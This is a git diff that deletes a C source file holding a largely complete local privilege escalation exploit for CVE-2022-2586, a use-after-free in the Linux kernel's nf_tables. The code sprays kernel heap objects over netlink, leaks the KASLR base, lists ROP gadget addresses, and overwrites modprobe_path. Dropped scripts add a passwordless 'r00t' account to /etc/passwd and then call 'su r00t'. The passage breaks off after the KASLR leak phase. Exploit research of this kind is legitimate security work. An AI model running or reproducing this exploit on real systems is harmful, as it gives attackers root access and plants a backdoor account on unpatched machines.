diff --git a/cve/linux-kernel/2022/CVE-2022-2586/CVE-2022-2586.c b/cve/linux-kernel/2022/CVE-2022-2586/CVE-2022-2586.c deleted file mode 100644 index 20f95bf1..00000000 --- a/cve/linux-kernel/2022/CVE-2022-2586/CVE-2022-2586.c +++ /dev/null @@ -1,1215 +0,0 @@ -/* - * LPE N-day Exploit for CVE-2022-2586: Linux kernel nft_object UAF - * gcc exploit.c -o exploit -lmnl -lnftnl -no-pie -lpthread - * Author: Alejandro Guerrero - * Copyright (C) 2022 Qualys, Inc. - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - -#define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define OFF_TO_OBJ_LST 184 - -#define TABLE_KLK_UAF_A "table1_klk" -#define TABLE_KLK_UAF_B "table2_klk" -#define SET_KLK_UAF "set1_klk" - -#define TABLE_HLK_UAF_A "table1_hlk" -#define TABLE_HLK_UAF_B "table2_hlk" -#define TABLE_OBJ_SPRAY_A "table3_hlk" -#define SET_HLK_UAF "set1_hlk" - -#define TABLE_RD_UAF_A "table1_rd" -#define TABLE_RD_UAF_B "table2_rd" -#define OBJ_RD_UAF "obj1_rd" -#define SET_RD_UAF "set1_rd" - -#define TABLE_RP_UAF_A "table1_rp" -#define TABLE_RP_UAF_B "table2_rp" -#define OBJ_RP_UAF "obj1_rp" -#define SET_RP_UAF "set1_rp" -#define CHAIN_RP_UAF "chain1_rp" - -#define DEFAULT_BASE 0xffffffff81000000 - -#define MAX_FDS 1024 -#define OBJ_DEF_NAME 8 - -#define SINGLE_OPEN_OFF 0x37c890 - -#define MAX_SPRAY_TABLES 4096*3 - -#define TRIG_HOST "127.0.0.1" -#define TRIG_PORT 1337 - -#define UNSHARE_PATH "/bin/unshare" - -#define DUMMY_MODPROBE_TRIGGER "/tmp/p" -#define CALLBACK_ROOT_SCRIPT "/tmp/x" - -#define DEF_CORE 3 - -#define SA struct sockaddr - -typedef enum { - OBJECT_TYPE_UNKNOWN, - OBJECT_TYPE_COUNTER, - OBJECT_TYPE_LIMIT -} obj_t; - -/* Function prototype definitions */ -void launch_trigger(void); -void delete_table(char *); -void dummy_func(void); - -/* Leaked addresses */ -uint64_t tbl_leaked_addr = 0; -uint64_t obj_leaked_addr = 0; -uint64_t so_leaked_addr = 0; - -/* KASLR base */ -uint64_t kaslr_base = DEFAULT_BASE; - -/* Addresses for functions or ROP gadgets */ -uint64_t stack_pivot_addr = 0xffffffff817479b6; // push rdi ; pop rsp ; add cl, cl ; ret -uint64_t pop_rdi_ret = 0xffffffff810a06e0; // pop rdi ; ret -uint64_t xor_dh_dh_ret = 0xffffffff81537a39; // xor dh, dh ; ret -uint64_t mov_rdi_rax_jne_xor_eax_eax_ret = 0xffffffff815ee2f4; // mov rdi, rax ; jne 0xffffffff815ee2e1 ; xor eax, eax ; ret -uint64_t commit_creds = 0xffffffff810e1520; // commit_creds() -uint64_t prepare_kernel_cred = 0xffffffff810e1780; // prepare_kernel_cred() -uint64_t kpti_trampoline = 0xffffffff81e01006; // swapgs_restore_regs_and_return_to_usermode + 22 -uint64_t pop_rdx_ret = 0xffffffff81022ab2; // pop rdx ; ret -uint64_t pop_rax_ret = 0xffffffff81046361; // pop rax ; ret -uint64_t mov_qptr_rdx_rax_ret = 0xffffffff8165aa85; // mov qword ptr [rdx], rax ; ret -uint64_t modprobe_path = 0xffffffff82e8a0e0; // modprobe_path - -/* Saved userland registers */ -uint64_t user_rip = (uint64_t)dummy_func; -uint64_t user_cs = 0; -uint64_t user_rflags = 0; -uint64_t user_sp = 0; -uint64_t user_ss = 0; - -/* file descriptors for seq_operations spraying */ -int fds[MAX_FDS] = { 0 }; - -int first_tbl_sp = 1; -char **tbl_ptr = NULL; - -void dummy_func(void) { - exit(0); - return; -} - -/* Exit printing a message before */ -void bye(const char *msg) { - if(msg != NULL) - puts(msg); - exit(1); - return; -} - -/* Launch the trigger and get root! */ -void launch_trigger(void) { - system(DUMMY_MODPROBE_TRIGGER " 2>/dev/null"); - system("su r00t"); - return; -} - -/* Prepare dummy script and callback script */ -void drop_callback_scripts(void) { - system("bash -c \"echo -e '\xff\xff\xff\xff\xff\xff' > " DUMMY_MODPROBE_TRIGGER "\""); - system("chmod +x " DUMMY_MODPROBE_TRIGGER); - system("echo '#!/bin/bash' > " CALLBACK_ROOT_SCRIPT); - system("echo 'echo \"r00t::0:0:r00t:/:/bin/sh\" >> /etc/passwd' >> " CALLBACK_ROOT_SCRIPT); - system("chmod +x " CALLBACK_ROOT_SCRIPT); - return; -} - -/* Save initial userland registers */ -void save_state(void) { - __asm__(".intel_syntax noprefix;" - "mov user_cs, cs;" - "mov user_ss, ss;" - "mov user_sp, rsp;" - "pushf;" - "pop user_rflags;" - ".att_syntax"); - return; -} - -/* Hexdump utility for debugging purposes */ -void hexdump(void *mem, unsigned int len) { - unsigned int i = 0, j = 0; - - for(i = 0; i < len + ((len % 16) ? (16 - len % 16) : 0); i++) { - if(i % 16 == 0) - printf("0x%06x: ", i); - - if(i < len) - printf("%02x ", 0xFF & ((char*)mem)[i]); - else - printf(" "); - - if(i % 16 == (16 - 1)) { - for(j = i - (16 - 1); j <= i; j++) { - if(j >= len) - putchar(' '); - else if(isprint(((char*)mem)[j])) - putchar(0xFF & ((char*)mem)[j]); - else - putchar('.'); - } - putchar('\n'); - } - } - return; -} - -/* Assign to a specific CPU core */ -void assign_to_core(int core_id) { - cpu_set_t mask; - CPU_ZERO(&mask); - CPU_SET(core_id, &mask); - if(sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) - bye("[-] Error at sched_setaffinity()"); - return; -} - -/* Modify process rlimit for RLIMIT_NOFILE */ -void modify_rlimit(void) { - struct rlimit old_lim, lim, new_lim; - - if(getrlimit(RLIMIT_NOFILE, &old_lim) != 0) - bye("[-] Error in getrlimit()"); - - lim.rlim_cur = old_lim.rlim_max; - lim.rlim_max = old_lim.rlim_max; - - if(setrlimit(RLIMIT_NOFILE, &lim) == -1) - bye("[-] Error at setrlimit()"); - - return; -} - -/* Generate a random name */ -char *generate_rnd_name(void) { - char dict[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_"; - char *ptr = calloc(OBJ_DEF_NAME + 1, sizeof(char)); - - if(!ptr) - bye("[-] Error at calloc()"); - - for(int i = 0 ; i < OBJ_DEF_NAME ; i++) - ptr[i] = dict[rand() % strlen(dict)]; - - return ptr; -} - -/* Append a table to the list of sprayed ones */ -void tbl_append_name(char *table_name) { - int i = 0, s = 0; - - if(!tbl_ptr) - bye("[-] tbl_ptr uninitialized"); - - while(i < MAX_SPRAY_TABLES) { - if(tbl_ptr[i] == NULL) { - s = 1; - tbl_ptr[i] = strdup(table_name); - break; - } - i++; - } - - if(!s) - bye("[-] Value MAX_SPRAY_TABLES exceeded"); - - return; -} - -/* Cleanup all the tables we sprayed with */ -void cleanup_spray_tables(void) { - int i = 0; - - if(!tbl_ptr) - bye("[-] tbl_ptr uninitialized"); - - while(i < MAX_SPRAY_TABLES) { - if(tbl_ptr[i] != NULL) - delete_table(tbl_ptr[i]); - i++; - } - - return; -} - -/* Spray with nla_memdup() allocations (arbitrary data and size) */ -void spray_memdup(void *spray_data, size_t spray_size, size_t n) { - struct mnl_socket *s = NULL; - struct mnl_nlmsg_batch *batch = NULL; - struct nlmsghdr *nh = NULL; - int r = 0, seq = 0; - char buf[16384] = { 0 }; - char *table_name = NULL; - struct nftnl_table *table = NULL; - size_t i = 0; - - assign_to_core(DEF_CORE); - - if(first_tbl_sp) { - first_tbl_sp = 0; - tbl_ptr = calloc(MAX_SPRAY_TABLES + 1, sizeof(char *)); - if(!tbl_ptr) - bye("[-] Error at calloc()"); - } - - while(i < n) { - table_name = generate_rnd_name(); - - tbl_append_name(table_name); - - s = mnl_socket_open(NETLINK_NETFILTER); - if(!s) - bye("[-] Failed to create netfilter socket"); - - batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); - nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); - mnl_nlmsg_batch_next(batch); - - table = nftnl_table_alloc(); - nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); - nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, spray_data, spray_size); - - nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); - nftnl_table_nlmsg_build_payload(nh, table); - mnl_nlmsg_batch_next(batch); - - nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); - mnl_nlmsg_batch_next(batch); - - r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); - if(r < 0) - bye("[-] Failed to send message"); - - i++; - } - - return; -} - -/* Callback setelem get */ -static int set_cb(const struct nlmsghdr *nlh, void *data) { - struct nftnl_set *t; - char buf[4096]; - uint32_t *type = data; - - t = nftnl_set_alloc(); - if (t == NULL) { - perror("OOM"); - goto err; - } - - if (nftnl_set_elems_nlmsg_parse(nlh, t) < 0) { - perror("nftnl_set_nlmsg_parse"); - goto err_free; - } - - nftnl_set_snprintf(buf, sizeof(buf), t, *type, 0); - -err_free: - nftnl_set_free(t); -err: - return MNL_CB_OK; -} - -/* Parse obj name retrieval output for pointer parsing */ -uint64_t parse_uaf_obj_name_leak(char *table, char *set, off_t off, int p) { - uint64_t ptr = 0; - struct mnl_socket *nl = NULL; - char buf[MNL_SOCKET_BUFFER_SIZE]; - struct nlmsghdr *nlh = NULL; - uint32_t portid = 0, seq = 0; - uint32_t type = NFTNL_OUTPUT_DEFAULT; - struct nftnl_set *t = NULL; - uint64_t *lk_p = NULL; - int ret = 0; - int i = 0; - - assign_to_core(DEF_CORE); - - t = nftnl_set_alloc(); - if(!t) - bye("[-] Error at nftnl_set_alloc()"); - - nlh = nftnl_set_nlmsg_build_hdr(buf, NFT_MSG_GETSETELEM, NFPROTO_IPV4, NLM_F_DUMP | NLM_F_ACK, seq++); - nftnl_set_set(t, NFTNL_SET_NAME, set); - nftnl_set_set(t, NFTNL_SET_TABLE, table); - nftnl_set_elems_nlmsg_build_payload(nlh, t); - - nl = mnl_socket_open(NETLINK_NETFILTER); - if(!nl) - bye("[-] Error at mnl_socket_open()"); - - if(mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) - bye("[-] Error at mnl_socket_bind()"); - - portid = mnl_socket_get_portid(nl); - - if(mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) - bye("[-] Error at mnl_socket_sendto()"); - - ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); - while (ret > 0) { - ret = mnl_cb_run(buf, ret, seq, portid, set_cb, &type); - if (ret <= 0) - break; - ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); - } - - //hexdump(buf, 512); - - if(p) { - while(i < 512) { - if(buf[i] == '\xff' && buf[i+1] == '\xff') { - if(i <= 6) - bye("[-] Unknown data"); - //puts("B"); - lk_p = (uint64_t *)((buf + i)-6); - //printf("debug 0x%lx\n", *lk_p); - return *lk_p; - } - i++; - } - } - - lk_p = (uint64_t *)(buf + off); - - mnl_socket_close(nl); - - return *lk_p; -} - -/* Spray with nft_object allocations */ -uint64_t spray_nft_object(char *table_name, size_t n, char *l_table_name, char *l_set_name) { - struct mnl_socket *s = NULL; - struct mnl_nlmsg_batch *batch = NULL; - struct nlmsghdr *nh = NULL; - int r = 0, seq = 0; - char buf[16384] = { 0 }; - char *obj_name = NULL; - struct nftnl_obj *obj = NULL; - size_t i = 0; - uint64_t leaked_addr = 0; - - assign_to_core(DEF_CORE); - - while(i < n) { - - s = mnl_socket_open(NETLINK_NETFILTER); - if(!s) - bye("[-] Failed to create netfilter socket"); - - seq = 0; - memset(buf, 0, sizeof(buf)); - - batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); - nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); - mnl_nlmsg_batch_next(batch); - - obj_name = generate_rnd_name(); - - obj = nftnl_obj_alloc(); - nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name); - nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name); - nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); - nftnl_obj_set_u64(obj, NFTNL_OBJ_CTR_BYTES, 0); - - printf("\t[i] Creating NFT_OBJECT_COUNTER object '%s'...\n", obj_name); - - nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE, seq++); - nftnl_obj_nlmsg_build_payload(nh, obj); - mnl_nlmsg_batch_next(batch); - - nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); - mnl_nlmsg_batch_next(batch); - - r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); - if(r < 0) - bye("[-] Failed to send message"); - - sleep(1.4); - - leaked_addr = parse_uaf_obj_name_leak(l_table_name, l_set_name, 0x40 + 12, 0); - //printf("0x%lx\n", leaked_addr); - if(leaked_addr != 0 && ((leaked_addr & 0xffff000000000000) == 0xffff000000000000)) - break; - - i++; - } - - return leaked_addr; -} - -/* Delete a netfilter table */ -void delete_table(char *table_name) { - struct mnl_socket *s = NULL; - struct mnl_nlmsg_batch *batch = NULL; - struct nlmsghdr *nh = NULL; - int r = 0; - int seq = 0; - char buf[16384] = { 0 }; - struct nftnl_table *table = NULL; - - assign_to_core(DEF_CORE); - - s = mnl_socket_open(NETLINK_NETFILTER); - if(!s) - bye("[-] Failed to create netfilter socket"); - - table = nftnl_table_alloc(); - nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); - - batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); - nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); - mnl_nlmsg_batch_next(batch); - - nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); - nftnl_table_nlmsg_build_payload(nh, table); - mnl_nlmsg_batch_next(batch); - - nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); - mnl_nlmsg_batch_next(batch); - - r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); - if(r < 0) - bye("[-] Failed to send message"); - - return; -} - -/* Pause function for debugging purposes */ -void pause_x(void) { - char c = 0; - int r = 0; - puts("[i] Press any key to continue..."); - r = read(0, &c, sizeof(char)); - if(r < 0) - bye("[-] Error from pause_x()"); - return; -} - -/* Repeat a char n times and return a string */ -char *str_repeat(char c, size_t n) { - char *ptr = calloc(n + 1, sizeof(char)); - if(!ptr) - bye("[-] Error at calloc()"); - - for(int i = 0 ; i < n ; i++) - ptr[i] = c; - - return ptr; -} - -/* Create a netfilter table */ -void create_table(char *table_name) { - struct mnl_socket *s = NULL; - struct mnl_nlmsg_batch *batch = NULL; - struct nlmsghdr *nh = NULL; - int r = 0; - int seq = 0; - char buf[16384] = { 0 }; - struct nftnl_table *table = NULL; - - table = nftnl_table_alloc(); - nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); - - s = mnl_socket_open(NETLINK_NETFILTER); - if(!s) - bye("[-] Failed to create netfilter socket"); - - batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); - nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); - mnl_nlmsg_batch_next(batch); - - nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); - nftnl_table_nlmsg_build_payload(nh, table); - mnl_nlmsg_batch_next(batch); - - nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); - mnl_nlmsg_batch_next(batch); - - r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); - if(r < 0) - bye("[-] Failed to send message"); - - - return; -} - -/* Prepare a UAF condition by cross-referencing an object from one table to another */ -void create_uaf(char *table_1, char *table_2, char *obj_n, char *set_n, obj_t obj_type, int is_s_trick, char *s_trick_name, int x) { - struct mnl_socket *s = NULL; - struct mnl_nlmsg_batch *batch = NULL; - struct nlmsghdr *nh = NULL; - int r = 0; - int seq = 0; - uint16_t klen[64] = { 1 }; - char buf[16384] = { 0 }; - struct nftnl_table *table = NULL; - struct nftnl_table *table2 = NULL; - struct nftnl_table *table3 = NULL; - struct nftnl_set_elem *slem = NULL; - struct nftnl_obj *obj = NULL; - struct nftnl_set *sx = NULL; - struct nftnl_set *set = NULL; - struct nftnl_chain *chain = NULL; - - if(obj_type == OBJECT_TYPE_UNKNOWN) - bye("[-] Unknown object type"); - - s = mnl_socket_open(NETLINK_NETFILTER); - if(!s) - bye("[-] Failed to create netfilter socket"); - - - table = nftnl_table_alloc(); - nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_1); - - table2 = nftnl_table_alloc(); - nftnl_table_set_str(table2, NFTNL_TABLE_NAME, table_2); - - if(is_s_trick) { - table3 = nftnl_table_alloc(); - nftnl_table_set_str(table3, NFTNL_TABLE_NAME, s_trick_name); - } - - obj = nftnl_obj_alloc(); - nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_n); - nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_1); - - if(x) { - chain = nftnl_chain_alloc(); - nftnl_chain_set(chain, NFTNL_CHAIN_NAME, CHAIN_RP_UAF); - nftnl_chain_set(chain, NFTNL_CHAIN_TABLE, table_2); - nftnl_chain_set_data(chain, NFTNL_CHAIN_TYPE, strdup("filter"), 0); - nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT); - nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 0); - } - - if(obj_type == OBJECT_TYPE_LIMIT) { - nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_LIMIT); - nftnl_obj_set_u64(obj, NFTNL_OBJ_LIMIT_RATE, 1); - nftnl_obj_set_u64(obj, NFTNL_OBJ_LIMIT_UNIT, 1); - } else if(obj_type == OBJECT_TYPE_COUNTER) { - nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); - nftnl_obj_set_u64(obj, NFTNL_OBJ_CTR_BYTES, 0); - } else - bye("[-] Unknown object type"); - - set = nftnl_set_alloc(); - nftnl_set_set_str(set, NFTNL_SET_NAME, set_n); - nftnl_set_set_str(set, NFTNL_SET_TABLE, table_2); - nftnl_set_set_u32(set, NFTNL_SET_FAMILY, NFPROTO_IPV4); - nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, sizeof(uint16_t)); - nftnl_set_set_u32(set, NFTNL_SET_KEY_TYPE, 13); - nftnl_set_set_u32(set, NFTNL_SET_ID, htonl(0xcafe)); - nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_OBJECT); // NFT_SET_ANONYMOUS - - if(obj_type == OBJECT_TYPE_LIMIT) - nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_LIMIT); - else if(obj_type == OBJECT_TYPE_COUNTER) - nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER); - else - bye("[-] Unknown object type"); - - sx = nftnl_set_alloc(); - nftnl_set_set_str(sx, NFTNL_SET_TABLE, table_1); - nftnl_set_set_u32(sx, NFTNL_SET_ID, htonl(0xcafe)); - - klen[0] = htons(TRIG_PORT); - - slem = nftnl_set_elem_alloc(); - nftnl_set_elem_set(slem, NFTNL_SET_ELEM_KEY, &klen, sizeof(uint16_t)); - nftnl_set_elem_set_str(slem, NFTNL_SET_ELEM_OBJREF, obj_n); - nftnl_set_elem_add(sx, slem); - - batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); - nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); - mnl_nlmsg_batch_next(batch); - - nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); - nftnl_table_nlmsg_build_payload(nh, table); - mnl_nlmsg_batch_next(batch); - - nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); - nftnl_table_nlmsg_build_payload(nh, table2); - mnl_nlmsg_batch_next(batch); - - if(is_s_trick) { - nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); - nftnl_table_nlmsg_build_payload(nh, table3); - mnl_nlmsg_batch_next(batch); - } - - nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE, seq++); - nftnl_obj_nlmsg_build_payload(nh, obj); - mnl_nlmsg_batch_next(batch); - - if(x) { - nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, NLM_F_CREATE, seq++); - nftnl_chain_nlmsg_build_payload(nh, chain); - mnl_nlmsg_batch_next(batch); - } - - nh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, NFPROTO_IPV4, NLM_F_CREATE, seq++); - nftnl_set_nlmsg_build_payload(nh, set); - mnl_nlmsg_batch_next(batch); - - nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, NFPROTO_IPV4, NLM_F_CREATE, seq++); - nftnl_set_elems_nlmsg_build_payload(nh, sx); - mnl_nlmsg_batch_next(batch); - - nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); - mnl_nlmsg_batch_next(batch); - - r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); - if(r < 0) - bye("[-] Failed to send message"); - return; -} - -/* Once having KASLR base, recalculate offsets */ -void recalculate_from_kaslr_base(void) { - uint64_t k_diff = kaslr_base - DEFAULT_BASE; - commit_creds += k_diff; - prepare_kernel_cred += k_diff; - mov_rdi_rax_jne_xor_eax_eax_ret += k_diff; - pop_rdi_ret += k_diff; - xor_dh_dh_ret += k_diff; - stack_pivot_addr += k_diff; - kpti_trampoline += k_diff; - modprobe_path += k_diff; - pop_rdx_ret += k_diff; - pop_rax_ret += k_diff; - mov_qptr_rdx_rax_ret += k_diff; - return; -} - -/* Set up a hook for output packets using a set with key destination port and value a referenced counter */ -void set_up_hook(char *table, char *set, char *chain) { - char *cmd = NULL; - asprintf(&cmd, "nft add rule %s %s counter name tcp dport map @%s", table, chain, set); - system(cmd); - return; -} - -/* Connect to a server in a specific port to trigger netfilter hooks */ -void trig_net_sock(void) { - int sockfd = 0, connfd = 0; - struct sockaddr_in servaddr, cli; - - bzero(&servaddr, sizeof(servaddr)); - bzero(&cli, sizeof(cli)); - - printf("\t[*] Connecting to 127.0.0.1:%d...\n", TRIG_PORT); - - sockfd = socket(AF_INET, SOCK_STREAM, 0); - if(sockfd == -1) - bye("[-] Socket creation failed"); - - servaddr.sin_family = AF_INET; - servaddr.sin_addr.s_addr = inet_addr(TRIG_HOST); - servaddr.sin_port = htons(TRIG_PORT); - - if(connect(sockfd, (SA*)&servaddr, sizeof(servaddr)) != 0) - bye("[-] Connection with server failed"); - - write(sockfd, "AAAA", 4); - - close(sockfd); - - return; -} - -/* Spray with seq_operations structs */ -void spray_seq_op_loop(void) { - int fds[MAX_FDS] = { 0 }; - int i = 0; - - assign_to_core(DEF_CORE); - - modify_rlimit(); - - while(i < MAX_FDS) { - fds[i] = open("/proc/self/stat", O_RDONLY); - i++; - } - return; -} - -/* Set up a server to receive hook-triggering output packets */ -void setup_trig_server(void) { - int sfd = 0, sock = 0, r = 0; - struct sockaddr_in address; - int opt = 1; - int addrlen = sizeof(address); - char buffer[1024] = { 0 }; - - if((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0) - bye("[-] Error at socket()"); - - if(setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) - bye("[-] Error at setsockopt()"); - - address.sin_family = AF_INET; - address.sin_addr.s_addr = INADDR_ANY; - address.sin_port = htons(TRIG_PORT); - - if(bind(sfd, (struct sockaddr*)&address, sizeof(address)) < 0) - bye("[-] Error at bind()"); - - if(listen(sfd, 3) < 0) - bye("[-] Error at listen()"); - - if((sock = accept(sfd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0) - bye("[-] Error at accept()"); - - r = read(sock, buffer, 4); - - sleep(3); - - close(sock); - close(sfd); - - return; -} - -int main(int argc, char *argv[]) { - struct mnl_socket *s = NULL; - struct mnl_nlmsg_batch *batch = NULL; - struct nlmsghdr *nh = NULL; - int r = 0, seq = 0; - uint16_t klen[64] = { 1 }; - char buf[16384] = { 0 }; - char *klk_obj_name = NULL; - char *hlk_obj_name = NULL; - char *sp_d = NULL; - uint64_t *sp_d_l = NULL; - char *sp2_d = NULL; - uint64_t *sp2_d_l = NULL; - char *rop_d = NULL; - uint64_t *rop_d_l = NULL; - size_t klk_tries = 0; - pthread_t tx; - void *retval = NULL; - int pid = 0; - int fd = 0; - int pipefd[2] = { 0 }; - int sfd = 0, cfd = 0; - int is_success = 0; - char *pipefd_str = NULL; - - if(geteuid() == 0) - goto EXP_P; - - pipe(pipefd); - - /* - Drop callback scripts to achieve LPE from modprobe usermode - helper execution - */ - drop_callback_scripts(); - - /* - Launch the process that will pop the root shell: it needs - to be outside of the namespace - */ - pid = fork(); - if(pid == 0) { - close(pipefd[1]); - - r = read(pipefd[0], &is_success, sizeof(int)); - if(r < 0) - bye("[-] Exploit failed!"); - - sleep(2); - - if(is_success) - launch_trigger(); - exit(0); - } - - close(pipefd[0]); - - asprintf(&pipefd_str, "%d", pipefd[1]); - - //unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET); - - /* - Execute ourselves in a new network namespace to - be able to trigger and exploit the bug - */ - char *args[] = { - UNSHARE_PATH, "-Urnm", argv[0], pipefd_str, - NULL, - }; - execvp(UNSHARE_PATH, args); - -EXP_P: - if(argc != 2) - bye("[-] pipe fd not provided for namespace process"); - - pipefd[1] = atoi(argv[1]); - - /* Assign to a specific CPU core for heap shaping reliability */ - assign_to_core(DEF_CORE); - - srand(time(NULL)); - - puts("[*] Saving current state..."); - save_state(); - - /* ===================== [ Pre-cleanup ] ===================== */ - - /* Remove exploit tables left from other executions */ - - delete_table(TABLE_KLK_UAF_A); - delete_table(TABLE_KLK_UAF_B); - - delete_table(TABLE_HLK_UAF_A); - delete_table(TABLE_HLK_UAF_B); - delete_table(TABLE_OBJ_SPRAY_A); - - delete_table(TABLE_RD_UAF_A); - delete_table(TABLE_RD_UAF_B); - - delete_table(TABLE_RP_UAF_A); - delete_table(TABLE_RP_UAF_B); - - /* ===================== [ Pre-Alloc ] ===================== */ - - /* - As a result of the table spraying, adding the traversing to add - the hooking rule will turn slow, we create the objects for the - last stage at the very beggining of the exploit. - */ - - create_uaf(TABLE_RP_UAF_A, TABLE_RP_UAF_B, OBJ_RP_UAF, SET_RP_UAF, OBJECT_TYPE_COUNTER, 0, NULL, 1); - set_up_hook(TABLE_RP_UAF_B, SET_RP_UAF, CHAIN_RP_UAF); - - /* ===================== [ Phase 1 - KASLR Leak ] ===================== */ - - puts("[i] Phase 1 - KASLR leak"); - -PHASE_1: - puts("\t[*] Triggering UAF on nft_object struct..."); - klk_obj_name = str_repeat('X', 0x20 - 2); - create_uaf(TABLE_KLK_UAF_A, TABLE_KLK_UAF_B, klk_obj_name, SET_KLK_UAF, OBJECT_TYPE_COUNTER, 0, NULL, 0); - - /* - Right at the time we remove the table that holds the referenced object, - we need to start spraying with seq_operations struct to succeed in - leaking single_open() address, and calculating KASLR base this way. - */ - - pthread_create(&tx, NULL, (void *)spray_seq_op_loop, NULL); - - delete_table(TABLE_KLK_UAF_A); - puts("\t[*] Spraying with seq_operations structs..."); - - pthread_join(tx, &retval); - - /* - If we succeed in making a seq_operations struct be allocated right where - our obj->key.name string was, we will be able to leak the single_open() - address by requesting the object name through the map. - - This though has another requirement, which is that obj is intact, so that - the pointer to the obj->key.name chunk is still existing. - - */ - - so_leaked_addr = parse_uaf_obj_name_leak(TABLE_KLK_UAF_B, SET_KLK_UAF, 0x40 + 12, 0); - if(so_leaked_addr == 0 || (so_leaked_addr & 0xffff000000000000) != 0xffff000000000000) { - delete_table(TABLE_KLK_UAF_B); - bye("[-] single_open() leak failed!"); - } - - puts("\t[*] Cleaning up descriptors..."); - - /* Cleanup descriptors used in the seq_operations spraying */ - for(int i = 0 ; i < MAX_FDS ; i++) - close(fds[i]); - - printf("\t[+] Leaked: single_open() @ 0x%lx\n", so_leaked_addr); - - kaslr_base = so_leaked_addr - SINGLE_OPEN_OFF; - - printf("\t[+] Leaked: KASLR base @ 0x%lx\n", kaslr_base); - - /* Once with KASLR base, recalculate offsets for every address we need */ - recalculate_from_kaslr_base(); - - 